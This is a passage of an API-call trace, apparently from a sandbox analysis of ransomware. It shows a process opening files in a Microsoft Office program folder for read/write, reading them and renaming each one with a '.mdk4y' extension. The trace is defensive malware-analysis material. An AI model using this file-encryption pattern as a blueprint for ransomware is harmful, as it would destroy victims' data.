lpPerformanceCount=0x37df70*=1833358800000) returned 1 [0258.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833358800000) returned 1 [0258.362] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SCNPST64.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\scnpst64.dll.mdk4y")) returned 1 [0258.364] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.364] AreFileApisANSI () returned 1 [0258.364] GetACP () returned 0x4e4 [0258.364] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SegoeChess.ttf", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SegoeChess.ttfanifest", lpUsedDefaultChar=0x37dfd8) returned 14 [0258.364] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833359500000) returned 1 [0258.365] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x9770, lpOverlapped=0x0) returned 1 [0258.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833359600000) returned 1 [0258.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833359700000) returned 1 [0258.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SegoeChess.ttf.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\segoechess.ttf.mdk4y")) returned 1 [0258.375] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.375] AreFileApisANSI () returned 1 [0258.375] GetACP () returned 0x4e4 [0258.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SELFCERT.EXE", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SELFCERT.EXEtf", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.375] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833360700000) returned 1 [0258.377] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x94590, lpOverlapped=0x0) returned 1 [0258.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833363500000) returned 1 [0258.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833363500000) returned 1 [0258.412] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SELFCERT.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\selfcert.exe.mdk4y")) returned 1 [0258.415] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.415] AreFileApisANSI () returned 1 [0258.415] GetACP () returned 0x4e4 [0258.415] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SENDTO.DLL", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SENDTO.DLLXE", lpUsedDefaultChar=0x37dfd8) returned 10 [0258.415] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.417] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833364900000) returned 1 [0258.419] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x6970, lpOverlapped=0x0) returned 1 [0258.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833369200000) returned 1 [0258.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833369200000) returned 1 [0258.463] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SENDTO.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\sendto.dll.mdk4y")) returned 1 [0258.465] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.465] AreFileApisANSI () returned 1 [0258.465] GetACP () returned 0x4e4 [0258.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SEQCHK10.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SEQCHK10.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.465] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833369700000) returned 1 [0258.467] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x15780, lpOverlapped=0x0) returned 1 [0258.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833369900000) returned 1 [0258.469] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833369900000) returned 1 [0258.471] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SEQCHK10.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\seqchk10.dll.mdk4y")) returned 1 [0258.475] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.475] AreFileApisANSI () returned 1 [0258.475] GetACP () returned 0x4e4 [0258.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETLANG.EXE", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SETLANG.EXEL", lpUsedDefaultChar=0x37dfd8) returned 11 [0258.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.477] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833370700000) returned 1 [0258.477] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x9380, lpOverlapped=0x0) returned 1 [0258.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833371700000) returned 1 [0258.487] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833371700000) returned 1 [0258.488] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SETLANG.EXE.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\setlang.exe.mdk4y")) returned 1 [0258.490] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.490] AreFileApisANSI () returned 1 [0258.490] GetACP () returned 0x4e4 [0258.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SG.DLL", cchWideChar=6, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SG.DLLG.EXE", lpUsedDefaultChar=0x37dfd8) returned 6 [0258.490] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833372200000) returned 1 [0258.492] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0258.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833375400000) returned 1 [0258.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833375400000) returned 1 [0258.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SG.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\sg.dll.mdk4y")) returned 1 [0258.566] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.566] AreFileApisANSI () returned 1 [0258.566] GetACP () returned 0x4e4 [0258.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHAPNUM.DLL", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SHAPNUM.DLL", lpUsedDefaultChar=0x37dfd8) returned 11 [0258.566] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833379700000) returned 1 [0258.567] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x52b60, lpOverlapped=0x0) returned 1 [0258.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833381800000) returned 1 [0258.588] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833381800000) returned 1 [0258.591] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAPNUM.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\shapnum.dll.mdk4y")) returned 1 [0258.594] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.594] AreFileApisANSI () returned 1 [0258.594] GetACP () returned 0x4e4 [0258.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHAREPOINTPROVIDER.DLL", cchWideChar=22, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SHAREPOINTPROVIDER.DLLl", lpUsedDefaultChar=0x37dfd8) returned 22 [0258.594] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833382500000) returned 1 [0258.596] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x46f70, lpOverlapped=0x0) returned 1 [0258.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833384000000) returned 1 [0258.610] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833384000000) returned 1 [0258.614] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SHAREPOINTPROVIDER.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\sharepointprovider.dll.mdk4y")) returned 1 [0258.617] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.617] AreFileApisANSI () returned 1 [0258.617] GetACP () returned 0x4e4 [0258.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SketchPadTestSchema.xml", cchWideChar=23, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SketchPadTestSchema.xml", lpUsedDefaultChar=0x37dfd8) returned 23 [0258.618] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833384900000) returned 1 [0258.619] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x67, lpOverlapped=0x0) returned 1 [0258.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833384900000) returned 1 [0258.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833385000000) returned 1 [0258.620] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SketchPadTestSchema.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\sketchpadtestschema.xml.mdk4y")) returned 1 [0258.622] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.622] AreFileApisANSI () returned 1 [0258.622] GetACP () returned 0x4e4 [0258.622] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SLERROR.XML", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SLERROR.XMLstSchema.xml", lpUsedDefaultChar=0x37dfd8) returned 11 [0258.622] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833385300000) returned 1 [0258.623] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x80fb, lpOverlapped=0x0) returned 1 [0258.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833385400000) returned 1 [0258.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833385500000) returned 1 [0258.625] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SLERROR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\slerror.xml.mdk4y")) returned 1 [0258.627] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.627] AreFileApisANSI () returned 1 [0258.627] GetACP () returned 0x4e4 [0258.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMIGRATE.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SMIGRATE.DLLtSchema.xml", lpUsedDefaultChar=0x37dfd8) returned 12 [0258.627] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833385800000) returned 1 [0258.628] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x37d70, lpOverlapped=0x0) returned 1 [0258.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833393600000) returned 1 [0258.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833393600000) returned 1 [0258.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SMIGRATE.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\smigrate.dll.mdk4y")) returned 1 [0258.711] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.711] AreFileApisANSI () returned 1 [0258.711] GetACP () returned 0x4e4 [0258.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOA.DLL", cchWideChar=7, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SOA.DLLE.DLL", lpUsedDefaultChar=0x37dfd8) returned 7 [0258.711] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.713] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833394300000) returned 1 [0258.713] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xa8b90, lpOverlapped=0x0) returned 1 [0258.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833403200000) returned 1 [0258.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833403300000) returned 1 [0258.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOA.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\soa.dll.mdk4y")) returned 1 [0258.812] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0258.812] AreFileApisANSI () returned 1 [0258.812] GetACP () returned 0x4e4 [0258.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOCIALCONNECTOR.DLL", cchWideChar=19, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SOCIALCONNECTOR.DLL.xml", lpUsedDefaultChar=0x37dfd8) returned 19 [0258.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0258.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833404400000) returned 1 [0258.814] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0258.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833412800000) returned 1 [0258.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833412800000) returned 1 [0259.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALCONNECTOR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\socialconnector.dll.mdk4y")) returned 1 [0259.061] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.061] AreFileApisANSI () returned 1 [0259.061] GetACP () returned 0x4e4 [0259.061] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOCIALPROVIDER.DLL", cchWideChar=18, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SOCIALPROVIDER.DLLL", lpUsedDefaultChar=0x37dfd8) returned 18 [0259.061] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.062] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833429200000) returned 1 [0259.062] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8fa0, lpOverlapped=0x0) returned 1 [0259.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833431100000) returned 1 [0259.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833431100000) returned 1 [0259.082] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOCIALPROVIDER.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\socialprovider.dll.mdk4y")) returned 1 [0259.083] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0259.083] AreFileApisANSI () returned 1 [0259.083] GetACP () returned 0x4e4 [0259.083] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SOLUTILS.DLL", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="SOLUTILS.DLLER.DLL", lpUsedDefaultChar=0x37dfd8) returned 12 [0259.084] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SOLUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\solutils.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0259.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1833431500000) returned 1 